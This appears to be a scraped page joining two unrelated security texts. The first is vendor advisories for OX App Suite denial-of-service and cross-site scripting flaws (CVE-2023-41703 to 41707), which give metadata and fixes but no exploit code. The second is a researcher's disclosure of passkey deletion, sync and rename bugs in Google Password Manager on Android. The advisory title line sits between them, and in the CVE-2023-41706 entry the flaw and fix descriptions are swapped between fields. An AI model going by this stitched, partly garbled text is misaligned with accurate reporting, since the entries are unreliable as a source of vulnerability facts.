Report confidence: Confirmed  
Solution status: Fixed by vendor  
Last affected revision: OX App Suite backend 7.10.6-rev55, OX App Suite backend 7.6.3-rev71, OX App Suite backend 8.19  
First fixed revision: OX App Suite backend 7.10.6-rev56, OX App Suite backend 7.6.3-rev72, OX App Suite backend 8.20  
Discovery date: 2023-11-02  
Solution date: 2023-12-05  
CVE: CVE-2023-41707  
CVSS: 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)

Details:  
Excessive resource usage through mail search regex. Processing of user-defined mail search expressions is not limited.

Risk:  
Availability of OX App Suite could be reduced due to high processing load. No publicly available exploits are known.

Solution:  
Please deploy the provided updates and patch releases. Processing time of mail search expressions now gets monitored, and the related request is terminated if a resource threshold is reached.

---

Internal reference: MWB-2367  
Type: CWE-400 (Uncontrolled Resource Consumption)  
Component: backend  
Report confidence: Confirmed  
Solution status: Fixed by vendor  
Last affected revision: OX App Suite backend 7.10.6-rev55, OX App Suite backend 7.6.3-rev71, OX App Suite backend 8.19  
First fixed revision: OX App Suite backend 7.10.6-rev56, OX App Suite backend 7.6.3-rev72, OX App Suite backend 8.20  
Discovery date: 2023-11-02  
Solution date: 2023-12-01  
CVE: CVE-2023-41706  
CVSS: 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)

Details:  
Excessive resource usage through drive search regex. Processing time of drive search expressions now gets monitored, and the related request is terminated if a resource threshold is reached.

Risk:  
Availability of OX App Suite could be reduced due to high processing load. No publicly available exploits are known.

Solution:  
Please deploy the provided updates and patch releases. Processing of user-defined drive search expressions is not limited

---

Internal reference: MWB-2392  
Type: CWE-400 (Uncontrolled Resource Consumption)  
Component: backend  
Report confidence: Confirmed  
Solution status: Fixed by vendor  
Last affected revision: OX App Suite backend 7.10.6-rev55, OX App Suite backend 7.6.3-rev71, OX App Suite backend 8.20  
First fixed revision: OX App Suite backend 7.10.6-rev56, OX App Suite backend 7.6.3-rev72, OX App Suite backend 8.21  
Discovery date: 2023-11-28  
Solution date: 2023-12-06  
CVE: CVE-2023-41705  
CVSS: 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)

Details:  
High resource consumption by manipulated DAV user-agent strings. Processing of user-defined DAV user-agent strings is not limited.

Risk:  
Availability of OX App Suite could be reduced due to high processing load. No publicly available exploits are known.

Solution:  
Please deploy the provided updates and patch releases. Processing time of DAV user-agents now gets monitored, and the related request is terminated if a resource threshold is reached.

---

Internal reference: MWB-2393  
Type: CWE-79 (Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'))  
Component: backend  
Report confidence: Confirmed  
Solution status: Fixed by vendor  
Last affected revision: OX App Suite backend 7.10.6-rev55, OX App Suite backend 7.6.3-rev71, OX App Suite backend 8.20  
First fixed revision: OX App Suite backend 7.10.6-rev56, OX App Suite backend 7.6.3-rev72, OX App Suite backend 8.21  
Discovery date: 2023-11-28  
Solution date: 2023-12-06  
CVE: CVE-2023-41704  
CVSS: 7.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L)

Details:  
XSS at E-Mail using CSS CID replacement. Processing of CID references at E-Mail can be abused to inject malicious script code that passes the sanitization engine.

Risk:  
Malicious script code could be injected to a users sessions when interacting with E-Mails. No publicly available exploits are known.

Solution:  
Please deploy the provided updates and patch releases. CID handing has been improved and resulting content is checked for malicious content.

---

Internal reference: DOCS-4483  
Type: CWE-79 (Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'))  
Component: office  
Report confidence: Confirmed  
Solution status: Fixed by vendor  
Last affected revision: OX App Suite office 7.10.6-rev9, OX App Suite office 8.19  
First fixed revision: OX App Suite office 7.10.6-rev10, OX App Suite office 8.20  
Discovery date: 2022-05-19  
Solution date: 2022-05-23  
CVE: CVE-2023-41703  
CVSS: 6.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

Details:  
UserIds of mentions are not saved correctly after editing a comment with mentions. User ID references at mentions in document comments were not correctly sanitized.

Risk:  
Script code could be injected to a users session when working with a malicious document. No publicly available exploits are known.

Solution:  
Please deploy the provided updates and patch releases. User-defined content like comments and mentions are now filtered to avoid potentially malicious content.

OX App Suite 7.10.6 Cross Site Scirpting / Denial Of Service

The Google Passkey Manager on Android appears to have inconsistent messaging for deletion of data along with other varying issues that lead us to believe it's not ready for prime time.

*INTRODUCTION*  
Passkeys on Android are stored in Google Password Manager by default. The user cannot make their own backups of them.

Note: although the user can export a CSV file with both passkeys and passwords, the lines representing passkeys will not contain any secrets, rendering them useless.

Also note that Google Passkey Manager appears to primarily be a CLOUD-based password manager (with copies of passwords and passkeys usually cached on devices).

*PROBLEM*  
The user may have chosen to configure a "sync passphrase" in Chrome.  
Instructions on what to do, in case the user wishes to change or remove their sync passphrase, can be found in [1] under "Reset your passphrase".

Effectively the user is sent to [2] and should press the button "Clear Data" at the bottom of that page.  
Until mid June 2023, the text near that button used to read (emphasis in CAPS added by me):

   "This will clear your Chrome data from your Google Account.  
   THIS WON'T CLEAR ANY DATA FROM YOUR DEVICES."

However, tapping the "Clear Data" button would unrecoverably DELETE ALL YOUR PASSKEYS (not your passwords).

*ISSUE REPORTED TO GOOGLE*  
I reported this "passkeys gone" problem to Google as a security issue on June 11, 2023.  
Please see the Timeline below for details.

*"FIX"*  
The issue was "fixed" around June 15, 2023, apparently by changing the text at the bottom of [2] into (emphasis in CAPS added by me):

   "This will clear your Chrome data that has been saved in your Google Account.  
   THIS MIGHT CLEAR SOME DATA FROM YOUR DEVICES."

However, tapping the "Clear Data" button will still DELETE ALL OF YOUR PASSKEYS without any other warnings.

In my opinion this is unacceptable, as is the handling of my bug report. Therefore I have not yet reported the issues mentioned below to Google nor to the Chromium team.

*POTENTIAL SYNC ISSUES*  
Apparently Google decided to use a DEVICE based encryption key (instead of a Google ACCOUNT based key) to encrypt the passkey's private keys.  
The idea is that, if you start using an second Android device, the encryption key from the first device is transferred  to your second device.

Note that this requires you to enter your Google cloud password PLUS the screen unlock code of your first device on your second device.

However, transfer of the encryption key will fail if the second device ALREADY HAS an encryption key.

Note: I actually ran into this condition accidentally during tests.  
Although this may not be a typical situation, it is possible to reproduce (which I will not (yet) describe).

Consequently, if you you brick or loose your old Android device, and somehow you managed to already have a DIFFERENT encryption key on your new Android device, passkeys and passwords will sync from the cloud, but the synced passkeys will be UNUSABLE on your new device.

Tip: whatever you do on a new replacement device: don't start by creating a passkey as a test!  
Wait until your old passkeys have synchronized to your new device and you've confirmed that they work, before you add any new passkeys.

*BUG IN PASSWORDS.GOOGLE.COM*  
Editing a passkey's (user) name in [3] renders all passkeys for the domain unusable, with the following error message when attempting to use them:

   "No Passkeys Available  
   There aren't any passkeys for [domain] on this device"

That particular passkey will be unusable forever.  
However, any other passkeys for the same domain become usable again after you delete the -now corrupt and unusable- passkey.

*OTHER ISSUES*  
During my tests I found a lot of other issues (mostly minor compared to those mentioned above).  
Such as the following worrisome messages I repeatedly saw:

   "An unknown error occurred while talking to the credential manager."

   "For security, you can no longer access your encrypted data on this device."

Also, in Chrome settings, after enabling sync, tapping on "Password Manager" would usually open Google Password Manager (implemented as a part of Google Play Services), but sometimes the Chrome built-in password manager instead.

I may reveal other issues at a later stage.

*CONCLUSION*  
In my opinion the reliability of Android's passkey implementation insufficient (immature, not production ready).

There is no way for the user to back up their passkey secrets themselves, while cloud storage of passkeys can obviously not be relied upon (Google owns your passkeys, not you).

The partial integration of Google Password Manager with Chrome's builtin password manager complicates things - in particular when combined with a "sync passphrase" and/or "on device encryption".  
The apparent confusion which party (Google or the Chromium team) is responsible for fixing bugs in Google Password Manager seems amateuristic annd chaotic.

Account lockout is a serious risk. If fallbacks to passwords or recovery codes remains a necessity because of easily lost passkeys, the advantage of "phishing resistance" is mostly moot.

*DISCLOSURE TIMELINE* (format: yyyy-mm-dd)  
2023-06-06 I published a Dutch article "Passkeys voor leken" (Passkeys for beginners) [4].

2023-06-08 After enabling encryption (using a sync passphrase) for all synced data, and then following Google's instructions [1] on how to change that passphrase, I noticed that all passkeys on my Google Pixel 6 Pro Android phone had disappeared.

I wrote about this in [5], but initially thought that I made a mistake myself.  
After thid incident I started to further investigate this issue, which appeared to reproduce.

2023-06-11 I uploaded a vulnerability report to Google titled "Passkeys gone from device after clearing Chrome data from Google Account" [6].

2023-06-12 Google acknowledges receiving my report.

2023-06-14 Google forwards my report to the Chromium team [7] and sets the status of the Google issue to "Won't Fix (Infeasible)".

2023-06-14 Im am notified that my vulnerability report was registered by the Chromium team.  
In [7] I see that the issue was assigned to a specific person (the "assignee" from now on).

2023-06-15 On the bug tracking website [7] I uploaded a zip-file with screenshots to further clarify things.

2023-06-15 The assignee wrote in [7]:

   "This is as expected, but you're right that we should clarify that on the page and that it's unexpected that Android's implementation of Sync differs r.e. the clearing of data from devices."

2023-06-15 The assignee adds a comment:

   "> it's unexpected that Android's implementation of Sync differs r.e. the clearing of data from devices.  
   (Sorry, that was poorly worded. It's potentially _surprising_ that Android differs given the wording.)"

At that time I did not understand what the assignee meant. Later I discovered by accident that the text at the bottom of [2] had been changed, and the assignee was apparently referring to that text.

2023-08-10 After 60 days since my initial report, I addded a comment in [7] that I am able to reproduce the vulnerability using the latest (August) Android update. I added:

   "I don't know whether this is a Chromium or an Android issue, but losing passkeys is unacceptible.  
   What gives?"

2023-09-10 (after 90 days) On [6] I reported that I had not heard back from the Chromium team since June 15 and that I do not understand what they wrote that day, and that there was no response to my August 8 comment.

2023-09-11 My latest comment in [6] is acknowledged by Google and under review.

2023-09-15 Google states that they won't do anything as this vulnerability is tracked by [7].

2024-02-07 No updates on [6] and [7].  
Publication.

*REFERENCES*  
[1] https://support.google.com/chrome/answer/165139

[2] https://chrome.google.com/sync

[3] https://passwords.google.com/

[4] https://security.nl/posting/798699/Passkeys+voor+leken

[5] https://security.nl/posting/798932

[6] https://issuetracker.google.com/issues/286730198

[7] https://bugs.chromium.org/p/chromium/issues/detail?id=1454857

Tag

#web